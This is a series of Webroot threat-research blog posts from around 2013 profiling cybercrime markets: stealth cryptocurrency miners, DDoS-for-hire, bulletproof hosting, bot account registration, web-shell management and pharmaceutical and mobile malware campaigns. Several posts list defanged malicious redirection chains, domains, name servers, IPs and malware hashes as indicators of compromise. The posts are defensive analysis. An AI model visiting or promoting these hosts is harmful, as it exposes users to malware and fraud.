A market segment for stealth, subscription-based, commercially available Bitcoin/Litecoin mining tools, emerged – 2013 marked an important year in terms of the market valuation, and the natural response courtesy of the cybercrime ecosystem, of the popular P2P based E-currency, Bitcoin. Keeping a close eye on the developing market segment, we profiled some of the market leading, **stealth Bitcoin miners** , offering an inside peek through the eyes of the prospective cybercriminal, on this way to monetize hosts he has access to, by converting them into Bitcoin mining zombies. The market is poised to continue expanding, with more vendors, and subscription-based services continuing to pop-up on our radar, and we expect the practice to get an even wider cybercrime ecosystem adoption, in 2014.

Targeted attacks continued taking place, with prospective NATO job applicants as the primary target in a sampled campaign – Targeted attacks continued taking place in 2013, with multiple high-profile targets, being the victim of specifically crafted emails targeting current/potential employees of these organizations/companies. Case in point, is a NATO (North Atlantic Treaty Organization) sensitive information soliciting campaign , which we connected to historical Black Hole Exploit Kit malicious Web activity, indicating that the cybercriminals behind it were either multi-tasking, or used to share the same infrastructure during both campaigns.

The DDoS for hire market segment continued maturing, with vendors starting the 'vertically integrate' by also offering TDoS services – In between the multiple "DDoS for hire " services that we were tracking during the year , one made a largely anticipated vertical integration move, namely, it **added TDoS services to its portfolio** , in an attempt to position itself as one-stop-Eshop for a Denial of Service Attacks. Driven by a decent supply of DIY malware/botnet generating tools, possessing the standard/modular DDoS functionality, we anticipate that DDoS for hire and TDoS would continue proliferating in 2014.

Cybercriminals innovated in the form of sophisticated server-

based mass iframe embedding platforms – In 2013, cybercriminals demonstrated their ambitions to 'go after the server' instead of 'going after the Web site', by releasing two platform-based type of cybercrime-friendly releases, namely, **an iframe embedding stealth Apache 2 module** , as well as **compromised FTP/SSH account privilege-escalating mass iFrame embedding platform** . Despite the platforms' evident sophistication, and potential to cause efficient, widespread damage, the general availability of **Google Dorks** based type of **mass Web site hacking/compromise based type of tools** , will continue contributing to the **active exploitation of the "Long Tail' of the Web** , resulting in an extremely favorable, choice/preferences driven type of market segment, allowing cybercriminals to quick scale their attempts to compromise as many Web sites, as possible.

Pharmaceutical scammers continued impersonating major trusted, legitimate, and reputable brands – From **Facebook** , to **GMail** and **WhatsApp** , in 2013, pharmaceutical scammers continued enticing users into clicking on the fraudulent links found in spam emails, exposing them to (supposedly) exclusive bargain deals, whereas in reality, the customer is actually bargaining with his health, as it's counterfeit pharmaceutical items, that the cybercriminals are trying to sell. Despite the numerous take down operations of pharmaceutical scam Web sites throughout the year, performed by law enforcement across the World, cybercriminals continue to enjoy a bulletproof type of hosting infrastructure for their fraudulent propositions, largely made possible thanks to the services of **bulletproof hosting providers** , some of which have been operating within the cybercrime ecosystem, for over a decade.

Rogue online casinos represented a decent proportion of spam campaigns aiming to trick users into installing Potentially Unwanted Applications (PUAs) on their hosts – Throughout the year, we continued intercepted hundreds of thousands of emails, enticing users into into joining **rogue online casinos** , by offering them discounts, or entry bonuses. Naturally, the fraudsters behind these campaigns, were tricking them into installing **W32/Casonline** , a well known family of **PUAs (Potentially Unwanted Applications)** , that we've also extensively profiled in the past.

The Android OS was under fire from DIY mobile malware binding/generating tools that leaked into the wild, next to the commercially available Android malware bots released in 2013 – Cybercriminals were busy releasing DIY mobile malware binding/generating tools , sensitive information stealers , and Android-compatible botnet operating tools , further fueling malicious mobile malware activity. With these tools, being the tip of the iceberg in an ecosystem dominated by cybercrime-friendly underground marker traffic exchanges, offering exclusive access to mobile traffic only, in combination with proprietary mobile malware releases, and social engineering campaigns at Google Play, relying on data mined accounting data, cybercriminals are perfectly positioned to continue capitalizing on Android's growing market share.

Greed-driven cybercriminals continued selling access to Russian/Eastern European malware-infected hosts – What was once considered a virtually impossible scenario, namely Russian/Eastern European cybercriminals , selling access to Russian/Eastern European malware-infected hosts , is today's reality, with several services that we're currently aware of, doing exactly the same. We expect that more cybercriminals will attempt to achieve fraudulent assets liquidity, namely, attempt to monetize the access to these hosts as quickly as possible, leading to more such services in 2014.

The bulletproof cybercrime-friendly hosting market segment continued growing to meet the never-ending demand – Thanks to a mix of a purely malicious bulletproof hosting infrastructure , in a combination with legitimate infrastructure, the market segment for bulletproof hosting services, continues maturing, even in a post-Russian Business Network world , with the market segment poised to grow, with the vendors continuing to add related 'valued-added' features within their portfolios.

419 advance fee scammers remained pretty active – Two of the most interesting cases of 419 advance fee fraudsters that we intercepted throughout 2013, were the abuse of CNN's 'Email This' feature , a practice conducted by 419-ers in the past, case in point, the abuse of Dilbert.com and NYTimes.com , as well as 'clever' tactic to **pop-up on an Android user’s Calendar app** .

Mass iframe injections continued taking place, with government Web sites internationally falling victim to the efficiency-oriented attacks – The good old fashioned mentality “Who’ll bother attacking my low profile Web site?” has become totally irrelevant in 2013, with cybercriminals relying on DIY based type of mass Web site exploitation tools, or on sophisticated platforms. Throughout 2013, **we intercepted** a variety of **client-side exploits** serving **Web sites** , a trend **we expect to continue observing** in 2014, in particular **high-page ranked** /high-profile **Web sites** .

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

A peek inside the booming underground market for stealth Bitcoin/Litecoin mining tools - Webroot Blog

facebook linkedin twitter

The over-hyped market valuation of the buzzing **P2P E-currency, Bitcoin** , quickly gained the attention of cybercriminals internationally who promptly adapted to its sky rocketing valuation by releasing commercially available stealth Bitcoin miners, Bitcoin wallet stealing malware, as well as actually starting to offer the source code for their releases in an attempt to monetize their know-how and expertise in this area. Throughout 2013, we profiled several subscription based stealth Bitcoin mining tools, and predicted that it's only a matter of time before this still developing market segment starts proliferating with more cybercriminals offering their stealth Bitcoin releases to prospective customers. Not only are we continuing to see an increase in terms of the number of tools offered, but also, some cybercriminals are actually starting to offer the source code for their releases, which, as we've seen in the past, has resulted in an increase in 'vallue-added' releases on behalf of fellow cybercriminals implementing features based on their perceived value, or through interaction with prospective customers.

What are cybercriminals up to in terms of stealth Bitcoin miners these days? Let's profile several of the (international) underground market share leading commercially available stealth Bitcoin miners, emphasize on their features, as well as just how easy it is to fraudulently mine Bitcoin/Litecoin these days, with the affected user never really knowing what's taking place on their PC.

Go through previous research — including MD5s — profiling commercially available stealth Bitcoin mining tools, released throughout 2013:

New commercially available DIY invisible Bitcoin miner spotted in the wild New subscription-based 'stealth Bitcoin miner' spotted in the wild New subscription-based SHA256/Scrypt supporting stealth DIY

Bitcoin mining tool spotted in the wild Yet another commercially available stealth Bitcoin/Litecoin mining tool spotted in the wild Yet another subscription-based stealth Bitcoin mining tool spotted in the wild

Sample commercially available stealth Bitcoin/Litecoin mining tool 01:

Sample commercially available stealth Bitcoin/Litecoin mining tool 02:

Sample commercially available stealth Bitcoin/Litecoin mining tool 03:

Sample commercially available stealth Bitcoin/Litecoin mining tool 04:

Sample commercially available stealth Bitcoin/Litecoin mining tool 05:

Sample commercially available stealth Bitcoin/Litecoin mining tool 06:

Sample commercially available stealth Bitcoin/Litecoin mining tool 07:

Sample commercially available stealth Bitcoin/Litecoin mining tool 08:

A peek inside the administration panel of a sampled stealth Bitcoin/Litecoin mining tool:

Sample screenshots of commercially available source code for stealth Bitcoin/Litecoin mining tools:

Sample screenshots of a Bitcoin/Litecoin stealing tool:

Throughout all of 2013, we continued to observe an increase in subscription based stealth Bitcoin/Litecoin mining applications with the vendors behind them emphasizing on the value-added services such as, for instance, maintaining the QA (Quality Assurance) process as well as ensuring that the latest builds of the mining applications remain undetected by antivirus scanners. Evasive tactics that aim to make it harder to analyze these samples, including the detection of Virtual Machines, and other researcher/analyst’s virtual environments, also proliferated. Moreover, a decent percentage of these commercially available stealth mining applications include the ability to remove competing mining applications, indicating that the vendors are not just aware of each other’s existence — international underground market transparency — but also, that they’re trying to gain market share by removing competing mining tools from the affected hosts. Not surprisingly, we’re also aware of commercially available source code for stealth mining tools that’s currently being offered, naturally acting as force-multiplier for more upcoming releases, now that the source code has been publicly offered.

We’ll continue monitoring this developing market segment, and post updates as soon as new developments take place.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Fake WhatsApp 'Missed Voicemail' Emails Lead To Pharmaceutical Scams | Webroot

facebook linkedin twitter

WhatsApp users, watch what you click on! A currently circulating fraudulent spam campaign is brand-jacking WhatsApp in an attempt to trick its users into clicking on links found in the email. Once socially engineered users fall victim to the scam, they're automatically exposed to a fraudulent pharmaceutical site, offering them pseudo bargain deals. Let's assess the fraudulent campaign, and expose the fraudulent infrastructure supporting it.

Sample screenshot of the spamvertised email:

Sample screenshot of the landing pharmaceutical scam page:

Redirection chain: *hxxp://203.78.110.20/horizontally.html* -> *hxxp://viagraphysician.com* (109.201.133.58)

We're also aware of the following fraudulent domains that are known to have phoned back to the same IP (109.201.133.58):
67157d.pharmahimoft.pl
albertacanadatab.in
asaletabla.at
baruchelmedicine.in
bioportfoliotablet.com
biotechviagrahealthcare.com
buygenericspills.com
canadascanadarx.com
canadatab.in
canadaviagras.com
canadawelnesstoronto.com
carehealthtabletspills.ru
careteachers.com
cialismed.com
cialispharmdrone.com
contabdiet.com
dietpharmediterranean.com

dietviagraweight.com
docherbal.in
drugrxmedicine.be

Name servers: ns1.viagraphysician.com – 178.88.64.149
ns2.viagraphysician.com – 200.185.230.32

The following fraudulent name servers are also known to have participated in the campaign's infrastructure at 178.88.64.149: ns1.wpdsasya.com
ns1.bioportfoliohealthcaretab.com
ns1.viagraphysician.com
ns1.androidherbaltablet.com
ns1.viagracialalec.in
ns2.viagracialalec.in
ns1.kgvghatm.eu
ns2.kgvghatm.eu
ns1.zwsxfwqn.eu
ns1.worgad.ru
ns1.iald.ru
ns2.iald.ru
ns1.fivere.ru
ns1.gabrue.ru
ns1.nagh.ru
ns1.lonoci.ru
ns1.menono.ru
ns1.xior.ru
ns1.uptras.ru
ns2.uptras.ru
ns1.qatt.ru
ns1.aprpharmacyrx.ru
ns2.aprpharmacyrx.ru
ns1.swoltz.ru

The following fraudulent name servers are also known to have participated in the campaign's infrastructure at 200.185.230.32: ns2.medicarepillmedicaid.com
ns1.tabdietmediterranean.com
ns2.viagraphysician.com

ns2.pharmacylevitrapharmacist.com
ns2.viagracialalec.in
ns2.kgvghatm.eu
ns1.zwsxfwqn.eu
ns2.worgad.ru
ns2.fivere.ru
ns1.gabrue.ru
ns2.nagh.ru
ns1.tabletsmedshealth.ru
ns2.menono.ru
ns2.xior.ru
ns2.uptras.ru
ns2.swoltz.ru

We expect that **more legitimate brands will continue getting targeted in such a way** , with the fraudsters behind the campaign continuing to earn revenue through **pharmaceutical affiliate programs** .

Webroot SecureAnywhere users are protected from these scams.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals offer fellow cybercriminals training in Operational Security (OPSEC) - Webroot Blog

facebook linkedin twitter

In need of a fresh example that malicious and fraudulent adversaries continue professionalizing, and **standardizing** demanded cybercrime-friendly products and services, all for the sake of monetizing their experience and expertise in the profitable world of cybercrime? Publicly launched around the middle of 2013, a product/training course targeting novice cybercriminals is offering them a manual, recommendations for open source/free software, as well as access to a private forum set up for customers only, enlightening them to everything a cybercriminals needs to know in order to stay secure and anonymous online. The standardized OPSEC offering is targeting novice cybercriminals, and also has an interesting discount based system, offering $10 discounts for every feedback from those who've already taken the course.

Sample screenshots advertising the product/standardized training course:

What does the OPSEC manual cover?

Basic host security
Setting up Virtual Machines
Setting up encrypted backups
Setting up and securely using email clients
Setting up a firewall
Basics of OpenVPN and i2p
Basics of Bitcoin use
How to configure popular browsers for maximum security and anonymity
How to use **Socks4/Socks5 servers (malware infected hosts)**
How to anonymously use the most popular Web payment processes such as WebMoney, Yandex etc.

How to securely communicate online using free/public/community tools

Next to the actual manual/standardized training course, the vendor has also set up a cybercrime-friendly community to be exclusively used by his customers, to further discuss related anonymization/OPSEC tactics.

Sample screenshots of the ad promoting the cybercrime-friendly community set up exclusively for customers:

The price for the training package? $40 for the manual, and access to the forum, and $30 for the manual and access to the forum in case the customer provides relevant feedback about the product/training course. Over the years, we've seen numerous attempts to standardize knowledge, either through localization (translating the original documents), or through similar **training courses aiming to educate** cybercrime-friendly 'knowledge workers'. Although we expect to continue observing such knowledge-based monetization attempts on behalf of cybercriminals, we're certain that the tactics, techniques and procedures (TTPs) that are truly shaping the success of their fraudulent and malicious campaigns, would not get a mention in such a standardized form.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Newly launched ‘HTTP-based botnet setup as a service’ empowers novice cybercriminals with bulletproof hosting capabilities – part three - Webroot Blog

facebook linkedin twitter

In **a series of blog** posts throughout 2013, we emphasized on the lowering of the entry barriers into the world of cybercrime, largely made possible by the rise of managed services, the re-emergence of the **DIY (do-it-yourself) trend** , and the development of niche market segments, like the practice of setting up and offering **bulletproof hosting** for a novice cybercriminal’s botnet generating platform. The proliferation of these easy to use, once only found in the arsenal of tools of the sophisticated cybercriminals, tools, is the direct result of cybercrime ecosystem leaks, cracked/pirated versions, or a community-centered approach applied by their authors, who sometimes rely on basic ‘freemium’ marketing models, namely, offering a free and paid/licensed version of their cybercrime-friendly tools.

Not surprisingly, we continue to observe the development of the niche market segment targeting novice cybercriminals, empowering them with botnet setting up services, as well as bulletproof hosting for their command and control infrastructure. In this post, I’ll discuss yet another such cybercrime ecosystem market proposition, that’s differentiating its unique value propositions (UVP) by **vertically integrating** — offering binding of Bitcoin miners and malware crypting services — as well as offering the option to set up a dozen of well known IRC/HTTP based botnet generating tools.

Sample screenshots of the cybercrime-friendly underground market ad:

The PerfectMoney, Bitcoin, Skrill, WMZ, PayPal accepting service, offers bulletproof hosting servers in Russia and Ukraine, as well as the option to include “pre-rooted” malware infected hosts with each and every setup, as means to give novice cybercriminals a performance boost, helping them setup the foundations for successful campaigns. There are multiple ways through which such services are made commercially available to novice cybercriminals. The vendor could either setup a purely malicious infrastructure, and basically ignore all abuse notifications, then promptly migrate the customer's base to a new location, upon getting blacklisted, or it can rely on the popular **franchise/affiliate-based type of partnership** with **established hardcore cybercriminal bulletproof hosting providers** , outsourcing the very bulletproof process to experienced cybercriminals, in between securing them new customers.

We expect to continue observing a steady increase of international underground market propositions for one-stop cybercrime **E-shops** , with the vendors behind these services, continuing to directly lower the entry barriers into the world of cybercrime.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Tumblr under fire from DIY CAPTCHA-solving, proxies-supporting automatic account registration tools - Webroot Blog

facebook linkedin twitter

Next to the ubiquitous for the cybercrime ecosystem, traffic acquisition tactics such as, **blackhat SEO** (search engine optimization), malvertising, embedded/injected **redirectors/doorways** on legitimate Web sites, establishing **purely malicious infrastructure** , and **social engineering driven spam campaigns** , cybercriminals are also masters of **utilizing social media** for the purpose of attracting traffic to their fraudulent/malicious campaigns. From the **efficient abuse of Craigslist** , the systematic generation of rogue/bogus/fake **Instagram** , **YouTube** , and **email accounts** , the process of automatic account generation continues to take place, driving a cybercriminal's fraudulent business model, naturally, setting up the foundations for upcoming malicious campaigns that could materialize at any point in time.

In this post, I'll discuss a commercially available automatic account registration tool that's successfully targeting Tumblr, emphasize on its core features, and discuss tactics through which its users could abuse access to these automatically registered accounts.

Sample screenshots of the commercial license-based tool in action:

Next to its multi-threaded nature, the tool basically possesses every feature an automatic account registration tool has these days. Features like support for proxies (**Socks4/Socks5 enabled malware infected hosts**), and built-in API based support for one of the major CAPTCHA-solving as a service type of cybercrime-friendly propositions, are poised to ensure the success of any campaign aiming to abuse Tumblr for automatic account registration purposes. How would cybercriminals potentially abuse this access? They will either start monetizing the inventory of automatically registered accounts to those who’d abuse it in a purely malicious way, or launch a campaign on their own, while monetizing the traffic through an affiliate network. The most recent example of such type of abuse was mentioned in **a blog post at the Internet Storm Center (ISC)** , where the cybercriminals were relying on Tumblr redirects for the purpose of exposing users to malware and Facebook phishing pages. The campaign is just the tip of the iceberg in an extensive ecosystem built by cybercriminals for social engineering purposes.

We’ll continue discussing emerging developments taking place within this market segment for automatic account registration tools and will report as soon as new developments take place.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

How cybercriminals efficiently violate YouTube, Facebook, Twitter, Instagram, SoundCloud and Google+'s ToS - Webroot Blog

facebook linkedin twitter

With social media, now an inseparable part of the marketing expenditures for every modern organization, cybercriminals quickly adapted to the ongoing buzz, and over the last couple of years, have been persistently supplying the market segment with social media metrics performance boosts, in the the form of **bogus likes, dislikes, comments, favorites, subscribers, and video/music plays.** This process, largely made possible by the **massively undermined CAPTCHA bot vs human verification practice** , results in **automatically registered accounts** , or the persistent **data mining of malware-infected hosts** for accounting data for social media accounts, continues to scale, allowing both individuals and organizations to superficially boost their social media reputation. In this post, I'll discuss a recently sampled such service, offering an unlimited number of likes, dislikes, comments, favorites, subscribers and video/music plays, that's either monetizing automatically registered accounts, compromised legitimate accounts, or what we believe they're doing, a mix of both in an attempt to meet the demand for their services.

Sample screenshots of the service's offerings:

Not only are such services violating the Terms of Service of the targeted Web properties, they're also denying them access to revenue streams, potentially undermining the core functionality of the service, namely, an authenticated legitimate human. With more services offering access to compromised social networking accounts popping up on our radars, in combination with commercially available API-supporting, CAPTCHA-bypassing automatic account registration tools, we expect that cybercriminals would continue monetizing this persistent and efficient abuse of a social network's ToS.

We advise users to be suspicious when receiving social media content from an entity they didn't opt-in to receive updates/content from — a sign for a possible compromised accounts that have been abused by the type of service discussed in this post — and to enable two-factor authentication, next to any additional security measures in place, offered by the social network in question.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Malicious multi-hop iframe campaign affects thousands of Web sites, leads to a cocktail of client-side exploits - part two - Webroot Blog

facebook linkedin twitter

Ever since we exposed and profiled the **evasive, multi-hop, mass iframe campaign that affected thousands of Web sites in November** , we continued to monitor it, believing that the cybercriminal(s) behind it, would continue operating it, basically switching to new infrastructure once the one exposed in the post got logically blacklisted, thereby undermining the impact of the campaign internationally. Not surprisingly, we were right. The campaign is not only still proliferating, but the adversaries behind it have also (logically) switched the actual hosting infrastructure. Let's dissect the currently active malicious iframe campaign that continues to serving a cocktail of **(patched) client-side exploits** , to users visiting legitimate Web sites.

Sample screenshot of one of the malicious scripts:

Redirection chain: *harshimadhaparia.com/libraries/domit/domit/all2.php -> roiauctionsstore.com/templates/beez/1.php -> hxxp://www3.hotzofix.kjyg.com or hxxp://www3.judtn3qyy1yv-4.4pu.com -> hxxp://www1.gtyg4h3.4pu.com/i.html -> hxxp://www1.gtyg4h3.4pu.com/nnnnvdd.html -> hxxp://www1.gtyg4h3.4pu.com/pdfx.html -> hxxp://www1.gtyg4h3.4pu.com/taftaf.html -> hxxp://www1.gtyg4h3.4pu.com/fnts.html -> find-and-go.com/?uid=10088&isRedirected=1*

Domain names reconnaissance: hxxp://www3.judtn3qyy1yv-4.4pu.com – 188.116.34.246
hxxp://www1.gtyg4h3.4pu.com – 188.116.34.246
find-and-go.com – 78.47.4.178

Known to have responded to the same IP (188.116.34.246) are also the following malicious domains:

hxxp://www1.a36p7sillle3u8.4pu.com
hxxp://www1.a8ob5zb0gl0ci3.4pu.com
hxxp://www1.azpbn5279isyhovf5.4pu.com
hxxp://www1.b-2wx8s0z64i30k2j.4pu.com
hxxp://www1.d0okhcwq9mt1lupg3.4pu.com
hxxp://www1.e6nsivn331lw8.4pu.com
hxxp://www1.evz4qr6.4pu.com
hxxp://www1.ftmfuugbx3hj13.4pu.com
hxxp://www1.g3buqxs3.4pu.com
hxxp://www1.gtyg4h3.4pu.com
hxxp://www1.h2qxs1vj3x73w0.4pu.com
hxxp://www1.hknbyl6lbm18-2.4pu.com
hxxp://www1.i-2kf6l3i.4pu.com
hxxp://www1.i-pf8jnyhg6tn43.4pu.com
hxxp://www1.iwywekgu03rpgvzw4.4pu.com
hxxp://www1.j1akhhmw3rzjdcvf.4pu.com
hxxp://www1.j5slm5tom0yr9.4pu.com
hxxp://www1.jccydfg38zi34.4pu.com
hxxp://www1.jxka0hpqxthfm2.4pu.com
hxxp://www1.k78xp1x3.4pu.com
hxxp://www1.l7f5rmwvixm01r.4pu.com
hxxp://www1.ltb8i8sy66i5.4pu.com
hxxp://www1.myf48ql3.4pu.com
hxxp://www1.n82dj5qko2qe2q.4pu.com
hxxp://www1.olf4wmrg6toj6.4pu.com
hxxp://www1.p-76pxg3d.4pu.com
hxxp://www1.pjpgqbu1.4pu.com
hxxp://www1.px0wgrpg3ox769.4pu.com
hxxp://www1.px5qhf32.4pu.com
hxxp://www1.q-3bxzjy6qh9s6gve7.4pu.com
hxxp://www1.q9ux2132yf4u29wt.4pu.com
hxxp://www1.qnilrhnnny6go9.4pu.com
hxxp://www1.s-0natmmjzkqhy7.4pu.com
hxxp://www1.sl5gn3q6g75f8.4pu.com
hxxp://www1.sus3cpv6c0if6.4pu.com

hxxp://www1.sxeyw56ov0qyxtir-5.4pu.com
hxxp://www1.szk0zxdsfy72f3.4pu.com
hxxp://www1.tbt2r99ldyrr6.4pu.com
hxxp://www1.ur8sc24ojzyjr5.4pu.com
hxxp://www1.y48939gqmhrhjw.4pu.com
hxxp://www1.y6vymtqeg345cg.4pu.com
hxxp://www1.y7odtnqghhxziqjv.4pu.com
hxxp://www1.yec2nmr3.4pu.com
hxxp://www1.zk56z207.4pu.com
hxxp://www1.ztrazr0uggov1.4pu.com
hxxp://www2.e0nn25vfmhyreuvtc.apfi.biz
hxxp://www2.nxzdez09py3jv6.apfi.biz
hxxp://www2.p8ipv5zy5iiyt4.apfi.biz
hxxp://www2.q4sji17b.apfi.biz
hxxp://www3.a8c798u76egdul.4pu.com
hxxp://www3.d4kzsrl9f9t4-3.4pu.com
hxxp://www3.flv5yvarxot5.4pu.com
hxxp://www3.g-3biuiylzma2hft.4pu.com
hxxp://www3.hotzofix.kjyg.com
hxxp://www3.j9hdbwok.4pu.com
hxxp://www3.k3dfewr00vok.4pu.com
hxxp://www3.p0k8oz7.4pu.com
hxxp://www3.q3bxxws9ispsz.4pu.com
hxxp://www3.t3rk5zajpzpm4i.4pu.com
hxxp://www3.u-6zklvj2w66448oy9.4pu.com
hxxp://www3.vxqq241.4pu.com
hxxp://www3.xkdav1z3.4pu.com

Detection rates for the malicious scripts, dropped malicious files: MD5: fe0e411c124ae75dad81f084244098c3 – detected by 1 out of 48 antivirus scanners as Mal/FakeAvJs-A
MD5: 89821fa040ddaa7e3c0c6e250cd67818 – detected by 9 out of 48 antivirus scanners as HEUR:Exploit.PDF.Generic; Exploit:Win32/Pdfjsc.AKB
MD5: b458e58e99d9464d931086e9d9c77501 – detected by 9 out of 47 antivirus scanners as Script/PDF.Exploit; HEUR_PDFJS.STREM
MD5: 2ec944c70459c55280ece012224cfe66 – detected by 9 out of

46 antivirus scanners as Trojan.Script.Heuristic-pdf.gutwr
MD5: e892136518ab2a4ca0e76bf8973d3fc5 – detected by 9 out of 46 antivirus scanners as Exploit:Win32/Pdfjsc.AKB
MD5: b4113f99a2c68f7e051b351a846e1886 – detected by 3 out of 46 antivirus scanners as TTF:CVE-2011-3402 [Expl]; Exploit.Win32.CVE-2011-3402.a

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Compromised legitimate Web sites expose users to malicious Java/Symbian/Android "Browser Updates" - Webroot Blog

facebook linkedin twitter

We've just intercepted a currently active malicious campaign, relying on redirectors placed at **compromised/hacked legitimate Web sites** , for the purpose of hijacking the legitimate traffic and directly exposing it to multi mobile OS based malicious/fraudulent content. In this particular case, a bogus "**Browser Update** ", which in reality is a **premium rate SMS malware** .

Sample screenshot of the landing page upon automatic redirection:

Landing page upon redirection: *hxxp://mobleq.com/e/4366*

Domain name reconnaissance: mobleq.com – 91.202.63.75

Known to have responded to the same IP, are also the following malicious domains: 700cams.com
adflyse.biz
android-loads.biz
androids-free.net
androiduptd.ru
androidwapupdate.info
antivirus-updatesup.ru
best-ponoz.ru
bests-cafe.ru
bilmobz.ru
bovkama.ru
chenyezhe.ru
clipsxxx-erotub.ru
critical-mobiles.ru
downapp.mobi
downloadit.biz
downloads-apk-games.ru

ero-home-tube.net
ero-odkl.ru
exmoby18.ru
ffmobistream.ru
ffreemob.ru
filemobileses.ru
flv-criticalnews.ru
galaxy-comp.ru
game-for-androis.ru
gdz-allnews.ru
gosal.ru
imobit.ru
javamix-games.ru
jmobf.ru
jmobi.net
jsfilemobile.ru
jugar-online.ru
kinope4ka.com
lobimob.ru
luganets.ru
mabilkos.ru
market-soft-android.ru
marketandroidplay.ru
mitstoksot.tk
mobi-klik-ok.ru
mobicheck2.ru
mobidick7a1.ru
mobilabs.biz
mobileup-news.ru
mobiseks.ru
mobitraf.net
moblabes.ru
mobleq.com
moblik.net
moblius.ru
moblob.ru
mobqid.ru

mobsob.ru
mobuna.net
moby-aa.ru
mobyboom.ru
mollius.ru
mombut.ru
mp3-pesni.ru
mp3-pesnja.ru
mtr7.ru
muzico-server4.ru
neolemsan.ru
odmobil.ru
odnoklassniki-android1.ru
odnoklassniki-android7.ru
odnoklassniki-androidmobi.ru
odnoklassniki-mobile1.ru
olcocom.ru
old-games.ws
omoby.net
otdacham.ru
pornforjoin.ru
pornushniks.ru
relaxtube.ru
rrmobi.net
s1.krash.net
sexpirat.ru
sfsss.ru
sotsialniiklimat.ru
tampoka.ru
tstomoby.ru
tubevubes.ru
vkoterske.ru
vpleer-server3.ru
vzlomaandroid.ru
waprus.tk
wildmob.net
wwwmobitds.ru

xlovs.ru
xmassne.ru
xmoblz.ru

Detection rates for the multi mobile platform variants: **MD5: a4b7be4c2ad757a5a41e6172b450b617** – detected by 13 out of 46 antivirus scanners as HEUR:Trojan-SMS.AndroidOS.Stealer.a
MD5: 1a2b4d6280bae654ee6b9c8cfe1204ab – detected by 4 out of 48 antivirus scanners as Java.SMSSend.780; TROJ_GEN.F47V1117
MD5: 2ff587ffb2913aee16ec5cae7792e2a7 – detected by 0 out of 48 antivirus scanners

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Commercial Windows-based compromised Web shells management application spotted in the wild - Webroot Blog

facebook linkedin twitter

For years, whenever I needed a fresh sample of pharmaceutical scams, I always sampled the Web sites of major educational institutions, where a thriving ecosystem relying on **compromised Web shells** , continues to enjoy the high page ranks of the affected Web sites for **blackhat SEO** (**search engine optimization**) purposes. How are cybercriminals managing these campaigns? What type of tools and tactics do they use? In a cybercrime ecosystem that has logically migrated to **Web-based platforms** for a variety of reasons over the last couple of years, there are still those who're keeping it old school, by releasing host-based DIY cybercrime-friendly applications. In this post, I'll discuss a commercially available Windows-based compromised/hacked Web shells management application.

Sample screenshots of the application in action:

Among the tool's unique features, is the ability to check the validity of the supplied compromised/hacked shells, various modification options like changing passwords and updating the redirectors, as well as the ability to change .htaccess. Compared to **a similar application** , which we profiled in July, 2013, we believe that in its current form, the tool profiled in this post doesn't have the capacity to be utilized for widespread, hard-to-detected mass abuse of compromised/hacked shells.

In 2013, insecurely configured Web applications susceptible to remote exploitation for fraudulent and malicious purposes — think Remote File Inclusion — the active data mining of a botnet's infected population, as well as good old fashioned brute-forcing attempts, continue supplying the market segment for compromised/hacked Web shells, with new accounting data, most commonly abused in a typical blackhat SEO style, with the actual campaigns monetized through an **affiliate network** . We expect that this trend will continue, in combination with what we believe is a resurrection of a proven process for monetizing compromised access to a legitimate Web site, namely, **cybercrime-friendly traffic exchanges** .

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercrime-friendly VPN service provider pitches itself as being 'recommended by Edward Snowden' - Webroot Blog

facebook linkedin twitter

We’ve recently spotted a multi-hop Russian cybercrime-friendly VPN service provider — ad featured not syndicated at a well known cybercrime-friendly community — that is relying on fake celebrity endorsement on its way to attract new customers, in this particular case, it’s pitching itself as being recommended by ex-NSA contractor Edward Snowden. How have anonymization tactics evolved over the last couple of years? Have the bad guys been ‘innovating’ on their way to cover the malicious/fraudulent online activity orchestrated by them? Let’d discuss some of the current trends in this ever-green market segment within the cybercrime ecosystem.

Sample ad featured at the cybercrime-friendly community:

